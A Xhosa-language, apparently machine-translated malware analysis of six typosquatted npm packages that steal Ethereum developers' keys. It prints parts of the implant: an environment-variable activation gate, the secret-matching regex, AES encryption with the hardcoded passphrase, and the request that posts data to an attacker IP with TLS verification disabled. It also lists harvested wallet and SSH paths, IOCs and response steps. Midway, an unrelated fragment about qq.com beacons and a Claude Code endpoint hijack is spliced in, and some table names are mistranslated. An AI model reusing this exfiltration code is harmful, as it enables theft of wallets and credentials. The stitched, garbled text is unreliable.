TL; DR
Ngomhla wesi-6 kuCanzibe ngo-2026, umshicileli omnye we-npm, namikazesarada010206, ityhale iipakethe ezintandathu ezinobuthi ezijolise kwinkqubo yophuhliso lwe-Ethereum, iSolidity, kunye neDeFi.
Iipakethe, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, yaye web3-utils-core, basebenzise amagama afanelekileyo enzelwe ukufana neelayibrari ezincedisayo kwizixhobo ezidumileyo zeWeb3.
Zonke iipakeji ezintandathu zazinento efanayo telemetry.js ifayile. Ifayile yayifana ne-byte kulo lonke iqela, kunye ne-SHA-256:
I-malware ayisebenzi ngexesha lokufakwa. Akukho preinstall or postinstall i-hook. Endaweni yoko, iyasebenza xa iphakheji ingeniswe nge require().
Loo nkcukacha ibalulekile.
I-implant ilinda de umphuhlisi ayisebenzise ngokwenene iphakheji. Emva koko ijonga ukuba indawo yokusebenza ijongeka njengendawo yokwenyani yophuhliso lwe-Ethereum / Solidity. Ikhangela izitshixo ze-Alchemy okanye ze-Infura, izitshixo zabucala, i-mnemonics, izitshixo ze-deployer, okanye i-directory ye-Foundry yasekuhlaleni.
Ukuba umninimzi uyahambelana, umntu othatha izitshixo zabucala ze-SSH, iivenkile zezitshixo ze-Foundry / Geth / Brownie wallet, .env* iifayile, kunye neenguqu ezibuthathaka zendalo. Ibethela iphakheji nge-AES-256-GCM isebenzisa igama lokugqitha eliqinileyo kwaye iyikhuphele kwisiphelo se-IPv4 C2 esingacwangciswanga kwaye ukuqinisekiswa kwe-TLS kukhutshaziwe.
Inkqubo yeXygeni's Malware Early Warning (MEW) iqinisekisile ukuba zonke iipakeji ezintandathu zinobungozi. Iphakheji yengxelo yokutsalwa kwe-npm registry isalindile.
Iqela: Iipakeji ezintandathu, uMpapashi omnye
Iakhawunti yomshicileli namikazesarada010206 iqhagamshelwe kwidilesi yeGmail engaqinisekiswanga namikazesarada010206@gmail.com.
Eli phulo livele njengoshicilelo losuku olunye ngomhla wesi-6 kuCanzibe, ngo-2026. Zonke iipakeji ezintandathu zaguqulelwa njenge 1.0.0, yayingenazo ii-runtime dependencies, kwaye yathumela iifayile ezintathu kuphela:
package.json index.js telemetry.jsBakwabhengeze indawo yokugcina imithombo efanayo:
https://github.com/harunosakura030303-maker/evmchain-configIipakeji ezintathu zokuqala zabanjwa zii-scanner ze-MEW kupapasho lokuqala. Ezi zintathu eziseleyo zaphawulwa ngenkani emva kophononongo lohlalutyo lweprofayili yomshicileli we-npm. Kanye xa yayifana ne-byte-identical. telemetry.js kwaqinisekiswa kulo lonke iqela, zavalwa njengezinobugebenga ngenxa yokungaguquguquki.
| ipakethe | inguqulelo | npm Ipapashwe | Itikiti le-MEW | isigwebo |
|---|---|---|---|---|
| i-viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Inobungozi |
| i-viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Inobungozi |
| izixhobo ze-hardhat-core | 1.0.0 | 2026-05-06 | #51051 | Inobungozi |
| izixhobo ze-evm | 1.0.0 | 2026-05-06 | #51069 | Inobungozi, ngokungaguquguqukiyo |
| izixhobo zokusekwa | 1.0.0 | 2026-05-06 | #51071 | Inobungozi, ngokungaguquguqukiyo |
| i-web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Inobungozi, ngokungaguquguqukiyo |
Icebo lokuqamba amagama lilula kodwa liyasebenza.
Ezi phakheji azizenzi amagama angaphezulu ngqo. Endaweni yoko, zisebenzisa izimamva ezinokwenzeka "eziluncedo" ezifana nezi -core, -utils, yaye -utils-coreOko kubenza babonakale njengeelayibrari ezisebenzisanayo umphuhlisi anokulindela ukuzibona kufutshane nezixhobo zeWeb3.
| Iphakheji Enobungozi | Ithagethi Esemthethweni |
|---|---|
| i-viem-core | i-viem, umthengi odumileyo we-Ethereum TypeScript |
| i-viem-utils-core | i-viem |
| izixhobo ze-hardhat-core | hardhat, indawo ephambili yophuhliso lokuqina |
| izixhobo ze-evm | Indawo yegama lesixhobo se-EVM esiqhelekileyo |
| izixhobo zokusekwa | isiseko, isixhobo seSolidity |
| i-web3-utils-core | izixhobo zewebhu3, abancedisi beWeb3.js |
Le yindlela "yokongeza iphakheji": ayingo "Ndingumxhasi wokwenene," kodwa "Ndijongeka njengomncedisi ofanelekileyo ojikeleze iphakheji yokwenyani."
Kubaphuhlisi beDeFi abakhawulezayo, oko kwanele ukudala umngcipheko.
Kwenzeka ntoni xa iphakheji ingenisiwe
Ikhonkco lohlaselo lincinci, licwangcisiwe, kwaye ligxile kwiindawo zophuhliso lwe-crypto.
Akukho hoko yokufaka. Endaweni yoko, iphakheji nganye ibandakanya index.js ethumela ngaphandle umsebenzi we-stub ize ilayishe imodyuli ye-telemetry enobubi.
require('./telemetry').init();Oku kuthetha ukuba i-malware iyasebenza xa ingeniswa okokuqala.
Oko kuluncedo kakhulu kumhlaseli. Iiskena ezininzi kunye neebhokisi zesanti zigxila kwindlela yokuziphatha kwexesha lokufaka. Le phakheji ilinda ide isetyenziswe ngumphuhlisi, iskripthi sokwakha, i-test suite, okanye indlela yexesha lokusebenza.
Isango Lokusebenza: Umlilo Kuphela Kwiindawo Zokusebenzela Zabaphuhlisi BeWeb3 Yokwenyani
Eyona nxalenye ibalulekileyo ye-implant yi-activation gate.
I-malware ijonga iinguqu ezingqongileyo ezifumaneka rhoqo kwiimashini zomphuhlisi we-Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean);Ikwajonga ukuba iFoundry ibonakala ngathi ifakiwe na:
fs.existsSync(path.join(os.homedir(), '.foundry'))Ukuba akukho nanye kwezi meko iyinyani, umsebenzi uyabuya kwaye awenzi nto.
Oko kwenza iphakheji ithule kwiindawo zohlalutyo oluqhelekileyo. Ibhokisi yesanti engenaFoundry, izitshixo zeAlchemy, izitshixo zeInfura, izitshixo zabucala, okanye i-mnemonics inokubonakala ngathi ayinabungozi.
Kwi-host efanayo, i-malware ilinda imizuzwana engama-60 ukuya kwengama-90 ngaphambi kokuba iqokelelwe:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref();Ukulibaziseka kunciphisa ulwalamano olucacileyo phakathi kokungenisa kunye nokukhupha izinto. .unref() i-call ikwavumela inkqubo ye-Host ukuba iphume ngokwesiqhelo ukuba iphakheji ingeniswe kwiskripthi esifutshane.
Oku akusiyo indlela yokuphanga nokubamba ingxolo. Yindlela yokweba ejoliswe ekujoliswe kuyo eyenzelwe ukuphepha ukubaleka ngaphandle kokuba indawo yomphuhlisi ifanelekile ukubiwa kuyo.
Oko Kuqokelelwa Ngumbiwa
Nje ukuba i-activation gate idlule, i-malware iqokelela kwimithombo ebaluleke kakhulu kuphuhliso lweWeb3: izitshixo zabucala, ii-wallet keystores, iziqinisekiso zokuthunyelwa, iimfihlo zelifu, ii-npm token, kunye noqwalaselo lweprojekthi yendawo.
| imvelaphi | Yintoni Eqokelelwayo |
|---|---|
| inkqubo.env | Naluphi na utshintsho oluhambelanayo /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Iifayile eziqulethe i-PRIVATE KEY okanye i-BEGIN OPENSSH, kuquka nomxholo wefayile epheleleyo |
| ~/.foundry/iindawo zokugcina izitshixo/* | Iifayile ze-Foundry wallet keystore |
| ~/.ethereum/ivenkile yezitshixo/* | Iifayile ze-Geth wallet keystore |
| ~/.brownie/iiakhawunti/* | Iifayile zevenkile yezitshixo zesikhwama seBrownie |
| ${cwd}/.env | Umxholo opheleleyo wefayile |
| ${cwd}/.env.local | Umxholo opheleleyo wefayile |
| imveliso ye-${cwd}/.env | Umxholo opheleleyo wefayile |
| uphuhliso lwe-${cwd}/.env | Umxholo opheleleyo wefayile |
| igama lomphathi () | I-metadata yomgcini |
| crypto.randomUUID() | Isihlonzi sexhoba/seseshoni |
| Umhla.ngoku() | Isitampu sexesha sokuqokelela |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.comIithokheni ze-ATTA zezi:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937Asikwazanga ukuqinisekisa ukuba i-telemetry yayiyi-analytics yomqhubi okanye yayiyeyona ndlela yokwenza imali eyahlukileyo. Iithokheni ze-ATTA ziyafana kuzo zombini iisampuli esizihlolileyo.
Iqela B: i-heibai
claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack
Isampulu yomhla woku-1 ku-Epreli yeyona nto ibalulekileyo, ingalo yangaphambili yephulo.
heibai:2.1.88-claude.hk-4 yapapashwa ngu wuguoqiangvip28, iakhawunti eyenziwe nge-7 kaJuni 2025. Le phakheji yaziguqulela ngokucacileyo ngokuchasene nesemthethweni 2.1.88 Ukukhululwa kwe-Anthropic.
Ayikhathazeki nge-CA-cert MITM. Endaweni yoko, ixoka kumsebenzisi malunga nesiphelo se-OAuth.
Izongezo ezinobungozi phezu komthombo weClaude Code ovuzayo ziquka:
| imvelaphi | Yintoni Eqokelelwayo |
|---|---|
| inkqubo.env | Naluphi na utshintsho oluhambelanayo /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Iifayile eziqulethe i-PRIVATE KEY okanye i-BEGIN OPENSSH, kuquka nomxholo wefayile epheleleyo |
| ~/.foundry/iindawo zokugcina izitshixo/* | Iifayile ze-Foundry wallet keystore |
| ~/.ethereum/ivenkile yezitshixo/* | Iifayile ze-Geth wallet keystore |
| ~/.brownie/iiakhawunti/* | Iifayile zevenkile yezitshixo zesikhwama seBrownie |
| ${cwd}/.env | Umxholo opheleleyo wefayile |
| ${cwd}/.env.local | Umxholo opheleleyo wefayile |
| imveliso ye-${cwd}/.env | Umxholo opheleleyo wefayile |
| uphuhliso lwe-${cwd}/.env | Umxholo opheleleyo wefayile |
| igama lomphathi () | I-metadata yomgcini |
| crypto.randomUUID() | Isihlonzi sexhoba/seseshoni |
| Umhla.ngoku() | Isitampu sexesha sokuqokelela |
Uluhlu lwezinto ekujoliswe kuzo lucacile kakhulu. Oku akusiyo ubusela bebrowser eqhelekileyo okanye ukukrazula iinkcukacha ezibanzi. Kujoliswe kubaphuhlisi abakha, abavavanya, abathumela, okanye abasebenzisa usetyenziso lwe-Ethereum.
Ukufakwa kweFoundry, Geth, kunye neBrownie keystores kubaluleke kakhulu. Ezi fayile zinokumela ukufikelela ngqo kwiiwallets okanye i-deployment identities. Ukuba umhlaseli angazidibanisa namagama ayimfihlo, ii-mnemonics, okanye iimfihlo zendalo, banokukwazi ukuhambisa imali, bazenze abathumeli, okanye babeke emngciphekweni imisebenzi yekhontrakthi ekrelekrele.
Ukubethela Ngaphambi Kokukhutshelwa Ngaphandle
I-malware ifihla idatha eqokelelweyo ngaphambi kokuba iyithumele.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);Igama lokugqitha eliqinileyo lithi:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1dUmthwalo wokugqibela uhlanganiswe njengoJSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}Ukubethela akwenzi i-malware ibe ngcono kakhulu ngokwayo. Nangona kunjalo, kwenza kube nzima ukuhlola inethiwekhi. Umkhuseli obukele ukuphuma uya kubona umthwalo we-JSON, kodwa kungekhona izitshixo ezibiweyo, iifayile zewallet, okanye .env umxholo ngaphandle kwebinzana lokugqitha eliqinileyo kunye nengqiqo yokususa ukubethela.
Ukuphuma kwi-IPv4 C2 engavulwanga
Indlela yokuphuma ibhalwe hardcode:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {});I-malware ithumela idatha ku:
https://76.13.37.80:8443/api/v1/telemetryIinkcukacha ezimbini ziyabonakala.
Okokuqala, i-C2 yidilesi ye-IPv4 engacwangciswanga endaweni ye-domain. Oko kususa imfuneko yokubhaliswa kwe-domain kwaye kuthintela ukubonwa okusekelwe kwi-domain.
Okwesibini, ukuqinisekiswa kwe-TLS kukhutshaziwe nge:
rejectUnauthorized: falseOko kuvumela i-malware ukuba yamkele nasiphi na isatifiketi, kuquka nezatifikethi ezityikityiweyo. Ngamanye amazwi, umhlaseli ufumana uthutho olufihliweyo ngaphandle kokufuna isatifiketi sikawonke-wonke esisebenzayo.
Akukho ndlela yokuzama kwakhona kwaye akukho mphathi we-fallback. Iimpazamo ziginywa buthule. Oku kugcina iphakheji ithule ukuba i-C2 ayisebenzi kwi-intanethi okanye ayifikeleleki.
Isizathu Sokuba Eli Phulo Libalulekile
Uninzi lweephakheji ze-npm ezinobungozi ezijolise kubaphuhlisi basukela iziqinisekiso ezibanzi: ii-npm token, izitshixo ze-AWS, ii-GitHub token, okanye .npmrc iifayile.
Eli phulo linciphisa usukelo.
Ikhangela iimpawu zokuba umatshini ngowe-Ethereum okanye umphuhlisi weSolidity. Emva koko itsala ngqo izinto ezibalulekileyo kuloo ndawo: iivenkile zezitshixo zewallet, izitshixo zabucala, ii-mnemonics, izitshixo zokuhambisa, .env iifayile, kunye nezitshixo ze-SSH.
Oko kwenza iphulo libe yingozi ngakumbi kumaqela eWeb3 kune-npm stealer eqhelekileyo.
Usulelo oluphumeleleyo lunokuveza:
- Izipaji zokusasazwa
- Izitshixo zolawulo zekhontrakthi ehlakaniphileyo
- Izitshixo zomboneleli we-RPC
- Iziqinisekiso zokusasazwa kwelifu
- iithokheni zokupapasha ze-npm
- Ukufikelela kwi-SSH kumphuhlisi okanye ekwakheni iziseko zophuhliso
- Iimfihlo zeprojekthi zigcinwe kwi
.enviifayile - Iivenkile zezitshixo ze-wallet zeFoundry, Geth, okanye Brownie
Amagama eephakheji akwabonisa ubunjineli bezentlalo obucacileyo. Ajolise kwi-ecosystem yabaphuhlisi beWeb3 ngokusebenzisa amagama ezixhobo aqhelekileyo: viem, hardhat, foundry, evm, yaye web3.
Umdlali weqonga akufuneki abeke emngciphekweni iiprojekthi zokwenyani. Bafuna nje umphuhlisi ukuze afake into ebonakala ngathi yiphakheji efanelekileyo.
Iimpawu zokuvumelana nokuchongwa
| Iipakethi kunye noMpapashi | |
|---|---|
| intsimi | ixabiso |
| umshicileli we-npm | namkazesarada010206 |
| I-imeyile yomshicileli | namikazesarada010206@gmail.com |
| I-imeyile iqinisekisiwe | Hayi |
| SCM qi nisiwe | Hayi |
| Amanqaku odumo | 1.0 |
| Iipakethi | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| iinguqulelo | Zonke i-1.0.0 |
| Indawo yokugcina imithombo | https://github.com/harunosakura030303-maker/evmchain-config |
| Iqinisekisiwe ukuba inenkohlakalo | Zonke iipakeji ezintandathu |
| womnatha | |
|---|---|
| uhlobo | ixabiso |
| Isiphelo se-C2 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| Izibuko le-C2 | 8443/tcp |
| Ukuziphatha kwe-TLS | ukwalaOkungagunyaziswanga: buxoki |
| Iskimu yomthwalo wentlawulo | {"v":2,"iv": ,"d": "t": } |
| Iifayile kunye neeHashes | |
|---|---|
| uhlobo | ixabiso |
| i-telemetry.js i-SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Uyilo lwephakheji | iphakheji.json, i-index.js, i-telemetry.js |
| Ubalo lwefayile | 3 |
| Ubungakanani obupheleleyo obuqikelelweyo | 3.4 KB |
Iimpawu Zokusebenza
I-malware ijonga ezi zinto ziguquguqukayo kwimeko-bume:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEYIkwajonga:
~/.foundry/Iindlela zoMsingathi eziJongiweyo
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.developmentIngqokelela yeRegex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/iAmanqaku okuFumanisa
Imithetho emininzi ibamba eli phulo ngaphandle kokufuna uhlalutyo olupheleleyo lokuziphatha.
Okokuqala, skena iifayile zokutshixa ukuze ufumane amagama amathandathu eephakheji ezinobungozi:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-coreNaluphi na umdlalo kwi package-lock.json, yarn.lock, pnpm-lock.yaml, okanye node_modules Imbali ifanele ithathwe njengesiganeko esinzulu.
Okwesibini, jonga iinkqubo zeNode.js zokufunda iindlela ze-wallet keystore:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/Oku akuqhelekanga ukuba kube yindlela yokuziphatha esemthethweni kwiphakheji engeniswe njengoxhomekeko lomncedisi. Kuyathandabuzeka ngakumbi xa kulandelwa ngumsebenzi wenethiwekhi ephumayo.
Okwesithathu, vimba okanye ulumkise kuqhagamshelo lwe-HTTPS oluya ku:
76.13.37.80:8443Ingakumbi xa indlela yesicelo isithi:
/api/v1/telemetryOkwesine, khangela iiphakheji ze-npm ezidibanisa ezi mpawu:
- Umshicileli omtsha okanye odume kakubi
- Iakhawunti yeGmail engaqinisekiswanga
- Igama lephakheji elikufutshane neWeb3
- Akukho imbali yokugcina izinto enenjongo
- Uyilo lwephakheji encinci
index.jselayisha ifayile ye-telemetry okanye yomncedisi- Akukho kuxhomekeka kwixesha lokusebenza
- Ingqokelela enobume obuguquguqukayo bendalo
- Ukufikelela kwivenkile yezitshixo zewalethi
Le patheni iluncedo ngakumbi kune-IOC enye kuba iphakheji elandelayo inokutshintsha idilesi ye-IP kodwa igcine ingqiqo efanayo yokujolisa.
Uluhlu Lokujonga Iimpendulo Zokuvumelana
Ukuba umphuhlisi usebenzise enye yeepakeji ezintandathu kwaye indawo yakhe ihambelana nesango lokuvula, jonga indawo yokusebenza njengengenamsebenzi.
Oko kuquka oomatshini abaneFoundry efakiweyo, izitshixo zeAlchemy okanye zeInfura kwindawo engqongileyo, izitshixo zabucala, i-mnemonics, okanye izitshixo zokuhambisa.
Impendulo ecetyiswayo:
- Nqamla i-host kwinethiwekhi.
- Gcina
node_modules, iifayile zokutshixa, imbali yeqokobhe, kunye neengxelo ezifanelekileyo ze-forensics. - Jikelezisa zonke ii-keyboard ze-SSH phantsi
~/.ssh/. - Jikelezisa izitshixo zewallet kuyo yonke ivenkile yezitshixo engaphantsi
~/.foundry,~/.ethereum, yaye~/.brownie. - Thutha imali uyibeke kwiiwallet ezintsha.
- Jikelezisa yonke imfihlo egcinwe kuyo
.env*iifayile kwiindawo zokugcina umphuhlisi asebenze kuzo. - Jikelezisa iimfihlo zendalo ezihambelana ne-regex yokuqokelela, kuquka izitshixo ze-AWS, i-npm tokens, i-deploy tokens, izitshixo ze-API, izitshixo zabucala, imbewu, kunye ne-mnemonics.
- Ilifu lophicotho, i-npm, iGitHub, umboneleli we-RPC, kunye nomsebenzi we-blockchain ukusukela oko kwafakwa iphakheji okokuqala.
- Phinda ujonge indawo yokusebenza ngaphambi kokuba uyisebenzise kwakhona.
Oko Abakhuseli Bafanele Bakususe
Eli phulo libonisa indlela i-npm typosquatting eguquka ngayo ngokwee-ecosystems zabaphuhlisi abaxabisekileyo.
Umdlali weqonga wayengadingi kunyamezela. Babengadingi ukufiphazwa. Babengadingi nokuphunyezwa kwexesha lokufakwa.
Kunoko, baxhomekeke kwizinto ezintathu:
- Amagama eephakheji zeWeb3 ezinokwenzeka
- Ukusebenza kuphela kwiimashini zokwenyani zophuhliso lwe-crypto
- Ukubiwa ngokuthe ngqo kweefayile kunye neemfihlo ezibaluleke kakhulu kubaphuhlisi be-Ethereum
Oko kwenza ukuba iphulo libe lula ukuliphosa xa liskenwa ngokubanzi kwaye libe yingozi xa lifika kwindawo efanelekileyo.
Kumaqela eWeb3, isifundo sicacile: phatha amagama okuxhomekeka njengenxalenye yemodeli yakho yosongelo. Iphakheji ebonakala ngathi ngumncedisi ongenabungozi isenokuba yindlela emfutshane yokufikelela kwisivumelwano sewallet.
Ingxelo ithunyelwe kwirejista ye-npm. Siza kuyihlaziya le posi xa iakhawunti yomshicileli kunye neepakeji zisusiwe.
